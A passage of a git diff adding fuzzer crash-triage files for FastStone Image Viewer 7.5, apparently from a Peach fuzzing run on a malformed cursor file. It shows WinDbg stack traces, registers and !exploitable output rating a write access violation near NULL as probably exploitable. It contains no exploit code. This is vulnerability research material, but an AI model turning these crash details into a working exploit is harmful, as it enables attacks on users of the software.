00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00216000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00216000 243a3f72 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62aa 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00216000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..9d02d23 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/8890/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..b2df285 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x310: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x310: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(310.3bc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07fb7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.780453548520653920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.37361e-024 -0.00109016 -8.89845e+029 -1.3452e-012 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08098130 08015930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00398000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00398000 74bbdcad 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00398000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..b2df285 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x310: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x310: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(310.3bc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07fb7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.780453548520653920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.37361e-024 -0.00109016 -8.89845e+029 -1.3452e-012 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08098130 08015930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00398000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00398000 74bbdcad 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00398000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb 